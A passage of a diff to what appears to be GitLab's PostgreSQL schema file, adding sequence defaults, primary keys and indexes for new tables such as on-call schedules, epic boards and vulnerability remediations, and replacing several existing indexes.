+ALTER TABLE ONLY incident_management_oncall_schedules ALTER COLUMN id SET DEFAULT nextval('incident_management_oncall_schedules_id_seq'::regclass);
+
ALTER TABLE ONLY index_statuses ALTER COLUMN id SET DEFAULT nextval('index_statuses_id_seq'::regclass);
ALTER TABLE ONLY insights ALTER COLUMN id SET DEFAULT nextval('insights_id_seq'::regclass);
@@ -17940,6 +18430,8 @@ ALTER TABLE ONLY internal_ids ALTER COLUMN id SET DEFAULT nextval('internal_ids_
ALTER TABLE ONLY ip_restrictions ALTER COLUMN id SET DEFAULT nextval('ip_restrictions_id_seq'::regclass);
+ALTER TABLE ONLY issuable_metric_images ALTER COLUMN id SET DEFAULT nextval('issuable_metric_images_id_seq'::regclass);
+
ALTER TABLE ONLY issuable_severities ALTER COLUMN id SET DEFAULT nextval('issuable_severities_id_seq'::regclass);
ALTER TABLE ONLY issuable_slas ALTER COLUMN id SET DEFAULT nextval('issuable_slas_id_seq'::regclass);
@@ -18018,6 +18510,8 @@ ALTER TABLE ONLY metrics_users_starred_dashboards ALTER COLUMN id SET DEFAULT ne
ALTER TABLE ONLY milestones ALTER COLUMN id SET DEFAULT nextval('milestones_id_seq'::regclass);
+ALTER TABLE ONLY namespace_onboarding_actions ALTER COLUMN id SET DEFAULT nextval('namespace_onboarding_actions_id_seq'::regclass);
+
ALTER TABLE ONLY namespace_statistics ALTER COLUMN id SET DEFAULT nextval('namespace_statistics_id_seq'::regclass);
ALTER TABLE ONLY namespaces ALTER COLUMN id SET DEFAULT nextval('namespaces_id_seq'::regclass);
@@ -18274,6 +18768,8 @@ ALTER TABLE ONLY user_custom_attributes ALTER COLUMN id SET DEFAULT nextval('use
ALTER TABLE ONLY user_details ALTER COLUMN user_id SET DEFAULT nextval('user_details_user_id_seq'::regclass);
+ALTER TABLE ONLY user_permission_export_uploads ALTER COLUMN id SET DEFAULT nextval('user_permission_export_uploads_id_seq'::regclass);
+
ALTER TABLE ONLY user_preferences ALTER COLUMN id SET DEFAULT nextval('user_preferences_id_seq'::regclass);
ALTER TABLE ONLY user_statuses ALTER COLUMN user_id SET DEFAULT nextval('user_statuses_user_id_seq'::regclass);
@@ -18292,10 +18788,14 @@ ALTER TABLE ONLY vulnerabilities ALTER COLUMN id SET DEFAULT nextval('vulnerabil
ALTER TABLE ONLY vulnerability_exports ALTER COLUMN id SET DEFAULT nextval('vulnerability_exports_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_external_issue_links ALTER COLUMN id SET DEFAULT nextval('vulnerability_external_issue_links_id_seq'::regclass);
+
ALTER TABLE ONLY vulnerability_feedback ALTER COLUMN id SET DEFAULT nextval('vulnerability_feedback_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_finding_links ALTER COLUMN id SET DEFAULT nextval('vulnerability_finding_links_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_findings_remediations ALTER COLUMN id SET DEFAULT nextval('vulnerability_findings_remediations_id_seq'::regclass);
+
ALTER TABLE ONLY vulnerability_historical_statistics ALTER COLUMN id SET DEFAULT nextval('vulnerability_historical_statistics_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_identifiers ALTER COLUMN id SET DEFAULT nextval('vulnerability_identifiers_id_seq'::regclass);
@@ -18308,6 +18808,8 @@ ALTER TABLE ONLY vulnerability_occurrence_pipelines ALTER COLUMN id SET DEFAULT
ALTER TABLE ONLY vulnerability_occurrences ALTER COLUMN id SET DEFAULT nextval('vulnerability_occurrences_id_seq'::regclass);
+ALTER TABLE ONLY vulnerability_remediations ALTER COLUMN id SET DEFAULT nextval('vulnerability_remediations_id_seq'::regclass);
+
ALTER TABLE ONLY vulnerability_scanners ALTER COLUMN id SET DEFAULT nextval('vulnerability_scanners_id_seq'::regclass);
ALTER TABLE ONLY vulnerability_statistics ALTER COLUMN id SET DEFAULT nextval('vulnerability_statistics_id_seq'::regclass);
@@ -18563,6 +19065,9 @@ ALTER TABLE ONLY analytics_devops_adoption_segment_selections
ALTER TABLE ONLY analytics_devops_adoption_segments
ADD CONSTRAINT analytics_devops_adoption_segments_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY analytics_devops_adoption_snapshots
+ ADD CONSTRAINT analytics_devops_adoption_snapshots_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY analytics_instance_statistics_measurements
ADD CONSTRAINT analytics_instance_statistics_measurements_pkey PRIMARY KEY (id);
@@ -18659,6 +19164,15 @@ ALTER TABLE ONLY board_project_recent_visits
ALTER TABLE ONLY board_user_preferences
ADD CONSTRAINT board_user_preferences_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY boards_epic_board_labels
+ ADD CONSTRAINT boards_epic_board_labels_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY boards_epic_board_positions
+ ADD CONSTRAINT boards_epic_board_positions_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY boards_epic_boards
+ ADD CONSTRAINT boards_epic_boards_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY boards_epic_user_preferences
ADD CONSTRAINT boards_epic_user_preferences_pkey PRIMARY KEY (id);
@@ -18674,6 +19188,9 @@ ALTER TABLE ONLY bulk_import_configurations
ALTER TABLE ONLY bulk_import_entities
ADD CONSTRAINT bulk_import_entities_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY bulk_import_failures
+ ADD CONSTRAINT bulk_import_failures_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY bulk_import_trackers
ADD CONSTRAINT bulk_import_trackers_pkey PRIMARY KEY (id);
@@ -18914,6 +19431,9 @@ ALTER TABLE ONLY dependency_proxy_blobs
ALTER TABLE ONLY dependency_proxy_group_settings
ADD CONSTRAINT dependency_proxy_group_settings_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY dependency_proxy_manifests
+ ADD CONSTRAINT dependency_proxy_manifests_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY deploy_keys_projects
ADD CONSTRAINT deploy_keys_projects_pkey PRIMARY KEY (id);
@@ -18953,6 +19473,12 @@ ALTER TABLE ONLY draft_notes
ALTER TABLE ONLY elastic_reindexing_tasks
ADD CONSTRAINT elastic_reindexing_tasks_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY elasticsearch_indexed_namespaces
+ ADD CONSTRAINT elasticsearch_indexed_namespaces_pkey PRIMARY KEY (namespace_id);
+
+ALTER TABLE ONLY elasticsearch_indexed_projects
+ ADD CONSTRAINT elasticsearch_indexed_projects_pkey PRIMARY KEY (project_id);
+
ALTER TABLE ONLY emails
ADD CONSTRAINT emails_pkey PRIMARY KEY (id);
@@ -18977,6 +19503,9 @@ ALTER TABLE ONLY events
ALTER TABLE ONLY evidences
ADD CONSTRAINT evidences_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY experiment_subjects
+ ADD CONSTRAINT experiment_subjects_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY experiment_users
ADD CONSTRAINT experiment_users_pkey PRIMARY KEY (id);
@@ -19106,6 +19635,15 @@ ALTER TABLE ONLY import_export_uploads
ALTER TABLE ONLY import_failures
ADD CONSTRAINT import_failures_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY incident_management_oncall_participants
+ ADD CONSTRAINT incident_management_oncall_participants_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY incident_management_oncall_rotations
+ ADD CONSTRAINT incident_management_oncall_rotations_pkey PRIMARY KEY (id);
+
+ALTER TABLE ONLY incident_management_oncall_schedules
+ ADD CONSTRAINT incident_management_oncall_schedules_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY index_statuses
ADD CONSTRAINT index_statuses_pkey PRIMARY KEY (id);
@@ -19118,6 +19656,9 @@ ALTER TABLE ONLY internal_ids
ALTER TABLE ONLY ip_restrictions
ADD CONSTRAINT ip_restrictions_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY issuable_metric_images
+ ADD CONSTRAINT issuable_metric_images_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY issuable_severities
ADD CONSTRAINT issuable_severities_pkey PRIMARY KEY (id);
@@ -19214,6 +19755,9 @@ ALTER TABLE ONLY merge_request_blocks
ALTER TABLE ONLY merge_request_cleanup_schedules
ADD CONSTRAINT merge_request_cleanup_schedules_pkey PRIMARY KEY (merge_request_id);
+ALTER TABLE ONLY merge_request_context_commit_diff_files
+ ADD CONSTRAINT merge_request_context_commit_diff_files_pkey PRIMARY KEY (merge_request_context_commit_id, relative_order);
+
ALTER TABLE ONLY merge_request_context_commits
ADD CONSTRAINT merge_request_context_commits_pkey PRIMARY KEY (id);
@@ -19265,6 +19809,9 @@ ALTER TABLE ONLY namespace_aggregation_schedules
ALTER TABLE ONLY namespace_limits
ADD CONSTRAINT namespace_limits_pkey PRIMARY KEY (namespace_id);
+ALTER TABLE ONLY namespace_onboarding_actions
+ ADD CONSTRAINT namespace_onboarding_actions_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY namespace_root_storage_statistics
ADD CONSTRAINT namespace_root_storage_statistics_pkey PRIMARY KEY (namespace_id);
@@ -19715,6 +20262,9 @@ ALTER TABLE ONLY user_highest_roles
ALTER TABLE ONLY user_interacted_projects
ADD CONSTRAINT user_interacted_projects_pkey PRIMARY KEY (project_id, user_id);
+ALTER TABLE ONLY user_permission_export_uploads
+ ADD CONSTRAINT user_permission_export_uploads_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY user_preferences
ADD CONSTRAINT user_preferences_pkey PRIMARY KEY (id);
@@ -19745,12 +20295,18 @@ ALTER TABLE ONLY vulnerabilities
ALTER TABLE ONLY vulnerability_exports
ADD CONSTRAINT vulnerability_exports_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_external_issue_links
+ ADD CONSTRAINT vulnerability_external_issue_links_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY vulnerability_feedback
ADD CONSTRAINT vulnerability_feedback_pkey PRIMARY KEY (id);
ALTER TABLE ONLY vulnerability_finding_links
ADD CONSTRAINT vulnerability_finding_links_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_findings_remediations
+ ADD CONSTRAINT vulnerability_findings_remediations_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY vulnerability_historical_statistics
ADD CONSTRAINT vulnerability_historical_statistics_pkey PRIMARY KEY (id);
@@ -19769,6 +20325,9 @@ ALTER TABLE ONLY vulnerability_occurrence_pipelines
ALTER TABLE ONLY vulnerability_occurrences
ADD CONSTRAINT vulnerability_occurrences_pkey PRIMARY KEY (id);
+ALTER TABLE ONLY vulnerability_remediations
+ ADD CONSTRAINT vulnerability_remediations_pkey PRIMARY KEY (id);
+
ALTER TABLE ONLY vulnerability_scanners
ADD CONSTRAINT vulnerability_scanners_pkey PRIMARY KEY (id);
@@ -19939,6 +20498,8 @@ CREATE INDEX active_billable_users ON users USING btree (id) WHERE (((state)::te
CREATE INDEX analytics_index_audit_events_on_created_at_and_author_id ON audit_events USING btree (created_at, author_id);
+CREATE INDEX analytics_index_audit_events_part_on_created_at_and_author_id ON ONLY audit_events_part_5fc467ac26 USING btree (created_at, author_id);
+
CREATE INDEX analytics_index_events_on_created_at_and_author_id ON events USING btree (created_at, author_id);
CREATE INDEX analytics_repository_languages_on_project_id ON analytics_language_trend_repository_languages USING btree (project_id);
@@ -19983,6 +20544,8 @@ CREATE INDEX finding_links_on_vulnerability_occurrence_id ON vulnerability_findi
CREATE INDEX idx_audit_events_on_entity_id_desc_author_id_created_at ON audit_events USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+CREATE INDEX idx_audit_events_part_on_entity_id_desc_author_id_created_at ON ONLY audit_events_part_5fc467ac26 USING btree (entity_id, entity_type, id DESC, author_id, created_at);
+
CREATE INDEX idx_ci_pipelines_artifacts_locked ON ci_pipelines USING btree (ci_ref_id, id) WHERE (locked = 1);
CREATE INDEX idx_container_exp_policies_on_project_id_next_run_at_enabled ON container_expiration_policies USING btree (project_id, next_run_at, enabled);
@@ -20067,6 +20630,10 @@ CREATE INDEX idx_security_scans_on_scan_type ON security_scans USING btree (scan
CREATE UNIQUE INDEX idx_serverless_domain_cluster_on_clusters_applications_knative ON serverless_domain_cluster USING btree (clusters_applications_knative_id);
+CREATE UNIQUE INDEX idx_vulnerability_ext_issue_links_on_vulne_id_and_ext_issue ON vulnerability_external_issue_links USING btree (vulnerability_id, external_type, external_project_key, external_issue_key);
+
+CREATE UNIQUE INDEX idx_vulnerability_ext_issue_links_on_vulne_id_and_link_type ON vulnerability_external_issue_links USING btree (vulnerability_id, link_type) WHERE (link_type = 1);
+
CREATE UNIQUE INDEX idx_vulnerability_issue_links_on_vulnerability_id_and_issue_id ON vulnerability_issue_links USING btree (vulnerability_id, issue_id);
CREATE UNIQUE INDEX idx_vulnerability_issue_links_on_vulnerability_id_and_link_type ON vulnerability_issue_links USING btree (vulnerability_id, link_type) WHERE (link_type = 2);
@@ -20077,6 +20644,8 @@ CREATE INDEX index_alert_assignees_on_alert_id ON alert_management_alert_assigne
CREATE UNIQUE INDEX index_alert_assignees_on_user_id_and_alert_id ON alert_management_alert_assignees USING btree (user_id, alert_id);
+CREATE INDEX index_alert_management_alerts_on_domain ON alert_management_alerts USING btree (domain);
+
CREATE INDEX index_alert_management_alerts_on_environment_id ON alert_management_alerts USING btree (environment_id) WHERE (environment_id IS NOT NULL);
CREATE INDEX index_alert_management_alerts_on_issue_id ON alert_management_alerts USING btree (issue_id);
@@ -20177,6 +20746,8 @@ CREATE INDEX index_approval_rules_code_owners_rule_type ON approval_merge_reques
CREATE INDEX index_approvals_on_merge_request_id ON approvals USING btree (merge_request_id);
+CREATE INDEX index_approvals_on_merge_request_id_and_created_at ON approvals USING btree (merge_request_id, created_at);
+
CREATE UNIQUE INDEX index_approvals_on_user_id_and_merge_request_id ON approvals USING btree (user_id, merge_request_id);
CREATE INDEX index_approver_groups_on_group_id ON approver_groups USING btree (group_id);
@@ -20243,6 +20814,16 @@ CREATE INDEX index_board_user_preferences_on_user_id ON board_user_preferences U
CREATE UNIQUE INDEX index_board_user_preferences_on_user_id_and_board_id ON board_user_preferences USING btree (user_id, board_id);
+CREATE INDEX index_boards_epic_board_labels_on_epic_board_id ON boards_epic_board_labels USING btree (epic_board_id);
+
+CREATE INDEX index_boards_epic_board_labels_on_label_id ON boards_epic_board_labels USING btree (label_id);
+
+CREATE UNIQUE INDEX index_boards_epic_board_positions_on_epic_board_id_and_epic_id ON boards_epic_board_positions USING btree (epic_board_id, epic_id);
+
+CREATE INDEX index_boards_epic_board_positions_on_epic_id ON boards_epic_board_positions USING btree (epic_id);
+
+CREATE INDEX index_boards_epic_boards_on_group_id ON boards_epic_boards USING btree (group_id);
+
CREATE INDEX index_boards_epic_user_preferences_on_board_id ON boards_epic_user_preferences USING btree (board_id);
CREATE UNIQUE INDEX index_boards_epic_user_preferences_on_board_user_epic_unique ON boards_epic_user_preferences USING btree (board_id, user_id, epic_id);
@@ -20253,6 +20834,8 @@ CREATE INDEX index_boards_epic_user_preferences_on_user_id ON boards_epic_user_p
CREATE INDEX index_boards_on_group_id ON boards USING btree (group_id);
+CREATE INDEX index_boards_on_iteration_id ON boards USING btree (iteration_id);
+
CREATE INDEX index_boards_on_milestone_id ON boards USING btree (milestone_id);
CREATE INDEX index_boards_on_project_id ON boards USING btree (project_id);
@@ -20269,6 +20852,10 @@ CREATE INDEX index_bulk_import_entities_on_parent_id ON bulk_import_entities USI
CREATE INDEX index_bulk_import_entities_on_project_id ON bulk_import_entities USING btree (project_id);
+CREATE INDEX index_bulk_import_failures_on_bulk_import_entity_id ON bulk_import_failures USING btree (bulk_import_entity_id);
+
+CREATE INDEX index_bulk_import_failures_on_correlation_id_value ON bulk_import_failures USING btree (correlation_id_value);
+
CREATE INDEX index_bulk_imports_on_user_id ON bulk_imports USING btree (user_id);
CREATE UNIQUE INDEX index_chat_names_on_service_id_and_team_id_and_chat_id ON chat_names USING btree (service_id, team_id, chat_id);
@@ -20323,7 +20910,7 @@ CREATE INDEX index_ci_builds_on_protected ON ci_builds USING btree (protected);
CREATE INDEX index_ci_builds_on_queued_at ON ci_builds USING btree (queued_at);
-CREATE INDEX index_ci_builds_on_runner_id ON ci_builds USING btree (runner_id);
+CREATE INDEX index_ci_builds_on_runner_id_and_id_desc ON ci_builds USING btree (runner_id, id DESC);
CREATE INDEX index_ci_builds_on_stage_id ON ci_builds USING btree (stage_id);
@@ -20405,7 +20992,7 @@ CREATE INDEX index_ci_pipelines_for_ondemand_dast_scans ON ci_pipelines USING bt
CREATE INDEX index_ci_pipelines_on_auto_canceled_by_id ON ci_pipelines USING btree (auto_canceled_by_id);
-CREATE INDEX index_ci_pipelines_on_ci_ref_id ON ci_pipelines USING btree (ci_ref_id) WHERE (ci_ref_id IS NOT NULL);
+CREATE INDEX index_ci_pipelines_on_ci_ref_id_and_more ON ci_pipelines USING btree (ci_ref_id, id DESC, source, status) WHERE (ci_ref_id IS NOT NULL);
CREATE INDEX index_ci_pipelines_on_external_pull_request_id ON ci_pipelines USING btree (external_pull_request_id) WHERE (external_pull_request_id IS NOT NULL);
@@ -20413,8 +21000,6 @@ CREATE INDEX index_ci_pipelines_on_merge_request_id ON ci_pipelines USING btree
CREATE INDEX index_ci_pipelines_on_pipeline_schedule_id ON ci_pipelines USING btree (pipeline_schedule_id);
-CREATE INDEX index_ci_pipelines_on_project_id_and_created_at ON ci_pipelines USING btree (project_id, created_at);
-
CREATE INDEX index_ci_pipelines_on_project_id_and_id_desc ON ci_pipelines USING btree (project_id, id DESC);
CREATE UNIQUE INDEX index_ci_pipelines_on_project_id_and_iid ON ci_pipelines USING btree (project_id, iid) WHERE (iid IS NOT NULL);
@@ -20621,6 +21206,8 @@ CREATE INDEX index_dependency_proxy_blobs_on_group_id_and_file_name ON dependenc
CREATE INDEX index_dependency_proxy_group_settings_on_group_id ON dependency_proxy_group_settings USING btree (group_id);
+CREATE UNIQUE INDEX index_dependency_proxy_manifests_on_group_id_and_file_name ON dependency_proxy_manifests USING btree (group_id, file_name);
+
CREATE INDEX index_deploy_key_id_on_protected_branch_push_access_levels ON protected_branch_push_access_levels USING btree (deploy_key_id);
CREATE INDEX index_deploy_keys_projects_on_deploy_key_id ON deploy_keys_projects USING btree (deploy_key_id);
@@ -20647,12 +21234,14 @@ CREATE INDEX index_deployments_on_environment_id_and_id ON deployments USING btr
CREATE INDEX index_deployments_on_environment_id_and_iid_and_project_id ON deployments USING btree (environment_id, iid, project_id);
-CREATE INDEX index_deployments_on_environment_id_and_status ON deployments USING btree (environment_id, status);
+CREATE INDEX index_deployments_on_environment_status_sha ON deployments USING btree (environment_id, status, sha);
CREATE INDEX index_deployments_on_id_and_status_and_created_at ON deployments USING btree (id, status, created_at);
CREATE INDEX index_deployments_on_id_where_cluster_id_present ON deployments USING btree (id) WHERE (cluster_id IS NOT NULL);
+CREATE INDEX index_deployments_on_project_and_finished ON deployments USING btree (project_id, finished_at) WHERE (status = 2);
+
CREATE INDEX index_deployments_on_project_id_and_id ON deployments USING btree (project_id, id DESC);
CREATE UNIQUE INDEX index_deployments_on_project_id_and_iid ON deployments USING btree (project_id, iid);
@@ -20711,10 +21300,6 @@ CREATE INDEX index_elastic_reindexing_tasks_on_state ON elastic_reindexing_tasks
CREATE INDEX index_elasticsearch_indexed_namespaces_on_created_at ON elasticsearch_indexed_namespaces USING btree (created_at);
-CREATE UNIQUE INDEX index_elasticsearch_indexed_namespaces_on_namespace_id ON elasticsearch_indexed_namespaces USING btree (namespace_id);
-
-CREATE UNIQUE INDEX index_elasticsearch_indexed_projects_on_project_id ON elasticsearch_indexed_projects USING btree (project_id);
-
CREATE UNIQUE INDEX index_emails_on_confirmation_token ON emails USING btree (confirmation_token);
CREATE UNIQUE INDEX index_emails_on_email ON emails USING btree (email);
@@ -20799,6 +21384,14 @@ CREATE UNIQUE INDEX index_events_on_target_type_and_target_id_and_fingerprint ON
CREATE INDEX index_evidences_on_release_id ON evidences USING btree (release_id);
+CREATE INDEX index_experiment_subjects_on_experiment_id ON experiment_subjects USING btree (experiment_id);
+
+CREATE INDEX index_experiment_subjects_on_group_id ON experiment_subjects USING btree (group_id);
+
+CREATE INDEX index_experiment_subjects_on_project_id ON experiment_subjects USING btree (project_id);
+
+CREATE INDEX index_experiment_subjects_on_user_id ON experiment_subjects USING btree (user_id);
+
CREATE INDEX index_experiment_users_on_experiment_id ON experiment_users USING btree (experiment_id);
CREATE INDEX index_experiment_users_on_user_id ON experiment_users USING btree (user_id);
@@ -20971,6 +21564,8 @@ CREATE INDEX index_identities_on_saml_provider_id ON identities USING btree (sam
CREATE INDEX index_identities_on_user_id ON identities USING btree (user_id);
+CREATE UNIQUE INDEX index_im_oncall_schedules_on_project_id_and_iid ON incident_management_oncall_schedules USING btree (project_id, iid);
+
CREATE UNIQUE INDEX index_import_export_uploads_on_group_id ON import_export_uploads USING btree (group_id) WHERE (group_id IS NOT NULL);
CREATE INDEX index_import_export_uploads_on_project_id ON import_export_uploads USING btree (project_id);
@@ -20987,6 +21582,18 @@ CREATE INDEX index_import_failures_on_project_id_not_null ON import_failures USI
CREATE INDEX index_imported_projects_on_import_type_creator_id_created_at ON projects USING btree (import_type, creator_id, created_at) WHERE (import_type IS NOT NULL);
+CREATE INDEX index_inc_mgmnt_oncall_participants_on_oncall_rotation_id ON incident_management_oncall_participants USING btree (oncall_rotation_id);
+
+CREATE INDEX index_inc_mgmnt_oncall_participants_on_oncall_user_id ON incident_management_oncall_participants USING btree (user_id);
+
+CREATE UNIQUE INDEX index_inc_mgmnt_oncall_participants_on_user_id_and_rotation_id ON incident_management_oncall_participants USING btree (user_id, oncall_rotation_id);
+
+CREATE UNIQUE INDEX index_inc_mgmnt_oncall_rotations_on_oncall_schedule_id_and_id ON incident_management_oncall_rotations USING btree (oncall_schedule_id, id);
+
+CREATE UNIQUE INDEX index_inc_mgmnt_oncall_rotations_on_oncall_schedule_id_and_name ON incident_management_oncall_rotations USING btree (oncall_schedule_id, name);
+
+CREATE INDEX index_incident_management_oncall_schedules_on_project_id ON incident_management_oncall_schedules USING btree (project_id);
+
CREATE UNIQUE INDEX index_index_statuses_on_project_id ON index_statuses USING btree (project_id);
CREATE INDEX index_insights_on_namespace_id ON insights USING btree (namespace_id);
@@ -21003,6 +21610,8 @@ CREATE UNIQUE INDEX index_internal_ids_on_usage_and_project_id ON internal_ids U
CREATE INDEX index_ip_restrictions_on_group_id ON ip_restrictions USING btree (group_id);
+CREATE INDEX index_issuable_metric_images_on_issue_id ON issuable_metric_images USING btree (issue_id);
+
CREATE UNIQUE INDEX index_issuable_severities_on_issue_id ON issuable_severities USING btree (issue_id);
CREATE UNIQUE INDEX index_issuable_slas_on_issue_id ON issuable_slas USING btree (issue_id);
@@ -21101,7 +21710,7 @@ CREATE UNIQUE INDEX index_label_priorities_on_project_id_and_label_id ON label_p
CREATE UNIQUE INDEX index_labels_on_group_id_and_project_id_and_title ON labels USING btree (group_id, project_id, title);
-CREATE INDEX index_labels_on_group_id_and_title ON labels USING btree (group_id, title) WHERE (project_id = NULL::integer);
+CREATE INDEX index_labels_on_group_id_and_title_with_null_project_id ON labels USING btree (group_id, title) WHERE (project_id IS NULL);
CREATE INDEX index_labels_on_project_id ON labels USING btree (project_id);
@@ -21133,6 +21742,8 @@ CREATE UNIQUE INDEX index_list_user_preferences_on_user_id_and_list_id ON list_u
CREATE UNIQUE INDEX index_lists_on_board_id_and_label_id ON lists USING btree (board_id, label_id);
+CREATE INDEX index_lists_on_iteration_id ON lists USING btree (iteration_id);
+
CREATE INDEX index_lists_on_label_id ON lists USING btree (label_id);
CREATE INDEX index_lists_on_list_type ON lists USING btree (list_type);
@@ -21285,8 +21896,12 @@ CREATE UNIQUE INDEX index_mr_context_commits_on_merge_request_id_and_sha ON merg
CREATE INDEX index_mr_metrics_on_target_project_id_merged_at_nulls_last ON merge_request_metrics USING btree (target_project_id, merged_at DESC NULLS LAST, id DESC);
+CREATE INDEX index_mr_metrics_on_target_project_id_merged_at_time_to_merge ON merge_request_metrics USING btree (target_project_id, merged_at, created_at) WHERE (merged_at > created_at);
+
CREATE UNIQUE INDEX index_namespace_aggregation_schedules_on_namespace_id ON namespace_aggregation_schedules USING btree (namespace_id);
+CREATE INDEX index_namespace_onboarding_actions_on_namespace_id ON namespace_onboarding_actions USING btree (namespace_id);
+
CREATE UNIQUE INDEX index_namespace_root_storage_statistics_on_namespace_id ON namespace_root_storage_statistics USING btree (namespace_id);
CREATE UNIQUE INDEX index_namespace_statistics_on_namespace_id ON namespace_statistics USING btree (namespace_id);
@@ -21341,7 +21956,7 @@ CREATE INDEX index_notes_on_line_code ON notes USING btree (line_code);
CREATE INDEX index_notes_on_note_trigram ON notes USING gin (note gin_trgm_ops);
-CREATE INDEX index_notes_on_noteable_id_and_noteable_type ON notes USING btree (noteable_id, noteable_type);
+CREATE INDEX index_notes_on_noteable_id_and_noteable_type_and_system ON notes USING btree (noteable_id, noteable_type, system);
CREATE INDEX index_notes_on_project_id_and_id_and_system_false ON notes USING btree (project_id, id) WHERE (NOT system);
@@ -21397,6 +22012,8 @@ CREATE UNIQUE INDEX index_on_segment_selections_project_id_segment_id ON analyti
CREATE INDEX index_on_segment_selections_segment_id ON analytics_devops_adoption_segment_selections USING btree (segment_id);
+CREATE INDEX index_on_snapshots_segment_id_recorded_at ON analytics_devops_adoption_snapshots USING btree (segment_id, recorded_at);
+
CREATE INDEX index_on_users_lower_email ON users USING btree (lower((email)::text));
CREATE INDEX index_on_users_lower_username ON users USING btree (lower((username)::text));
@@ -21453,6 +22070,8 @@ CREATE INDEX index_packages_package_files_on_file_store ON packages_package_file
CREATE INDEX index_packages_package_files_on_package_id_and_file_name ON packages_package_files USING btree (package_id, file_name);
+CREATE INDEX index_packages_package_files_on_verification_state ON packages_package_files USING btree (verification_state);
+
CREATE INDEX index_packages_packages_on_creator_id ON packages_packages USING btree (creator_id);
CREATE INDEX index_packages_packages_on_id_and_created_at ON packages_packages USING btree (id, created_at);
@@ -21603,6 +22222,8 @@ CREATE UNIQUE INDEX index_project_repositories_on_project_id ON project_reposito
CREATE INDEX index_project_repositories_on_shard_id ON project_repositories USING btree (shard_id);
+CREATE INDEX index_project_repositories_on_shard_id_and_project_id ON project_repositories USING btree (shard_id, project_id);
+
CREATE UNIQUE INDEX index_project_repository_states_on_project_id ON project_repository_states USING btree (project_id);
CREATE INDEX index_project_repository_storage_moves_on_project_id ON project_repository_storage_moves USING btree (project_id);
@@ -21613,6 +22234,8 @@ CREATE UNIQUE INDEX index_project_settings_on_push_rule_id ON project_settings U
CREATE INDEX index_project_statistics_on_namespace_id ON project_statistics USING btree (namespace_id);
+CREATE INDEX index_project_statistics_on_packages_size_and_project_id ON project_statistics USING btree (packages_size, project_id);
+
CREATE UNIQUE INDEX index_project_statistics_on_project_id ON project_statistics USING btree (project_id);
CREATE INDEX index_project_statistics_on_repository_size_and_project_id ON project_statistics USING btree (repository_size, project_id);
@@ -21657,6 +22280,8 @@ CREATE INDEX index_projects_on_creator_id_and_created_at_and_id ON projects USIN
CREATE INDEX index_projects_on_creator_id_and_id ON projects USING btree (creator_id, id);
+CREATE INDEX index_projects_on_creator_id_import_type_and_created_at_partial ON projects USING btree (creator_id, import_type, created_at) WHERE (import_type IS NOT NULL);
+
CREATE INDEX index_projects_on_description_trigram ON projects USING gin (description gin_trgm_ops);
CREATE INDEX index_projects_on_id_and_archived_and_pending_delete ON projects USING btree (id) WHERE ((archived = false) AND (pending_delete = false));
@@ -21789,6 +22414,8 @@ CREATE INDEX index_releases_on_author_id ON releases USING btree (author_id);
CREATE INDEX index_releases_on_project_id_and_tag ON releases USING btree (project_id, tag);
+CREATE INDEX index_releases_on_released_at ON releases USING btree (released_at);
+
CREATE INDEX index_remote_mirrors_on_last_successful_update_at ON remote_mirrors USING btree (last_successful_update_at);
CREATE INDEX index_remote_mirrors_on_project_id ON remote_mirrors USING btree (project_id);
@@ -21891,7 +22518,7 @@ CREATE UNIQUE INDEX index_scim_identities_on_user_id_and_group_id ON scim_identi
CREATE UNIQUE INDEX index_scim_oauth_access_tokens_on_group_id_and_token_encrypted ON scim_oauth_access_tokens USING btree (group_id, token_encrypted);
-CREATE INDEX index_secure_ci_builds_on_user_id_created_at_parser_features ON ci_builds USING btree (user_id, created_at) WHERE (((type)::text = 'Ci::Build'::text) AND ((name)::text = ANY (ARRAY[('container_scanning'::character varying)::text, ('dast'::character varying)::text, ('dependency_scanning'::character varying)::text, ('license_management'::character varying)::text, ('license_scanning'::character varying)::text, ('sast'::character varying)::text, ('coverage_fuzzing'::character varying)::text, ('secret_detection'::character varying)::text])));
+CREATE INDEX index_secure_ci_builds_on_user_id_name_created_at ON ci_builds USING btree (user_id, name, created_at) WHERE (((type)::text = 'Ci::Build'::text) AND ((name)::text = ANY (ARRAY[('container_scanning'::character varying)::text, ('dast'::character varying)::text, ('dependency_scanning'::character varying)::text, ('license_management'::character varying)::text, ('license_scanning'::character varying)::text, ('sast'::character varying)::text, ('coverage_fuzzing'::character varying)::text, ('apifuzzer_fuzz'::character varying)::text, ('apifuzzer_fuzz_dnd'::character varying)::text, ('secret_detection'::character varying)::text])));
CREATE INDEX index_security_ci_builds_on_name_and_id_parser_features ON ci_builds USING btree (name, id) WHERE (((name)::text = ANY (ARRAY[('container_scanning'::character varying)::text, ('dast'::character varying)::text, ('dependency_scanning'::character varying)::text, ('license_management'::character varying)::text, ('sast'::character varying)::text, ('secret_detection'::character varying)::text, ('coverage_fuzzing'::character varying)::text, ('license_scanning'::character varying)::text])) AND ((type)::text = 'Ci::Build'::text));
@@ -21907,6 +22534,8 @@ CREATE INDEX index_security_findings_on_scanner_id ON security_findings USING bt
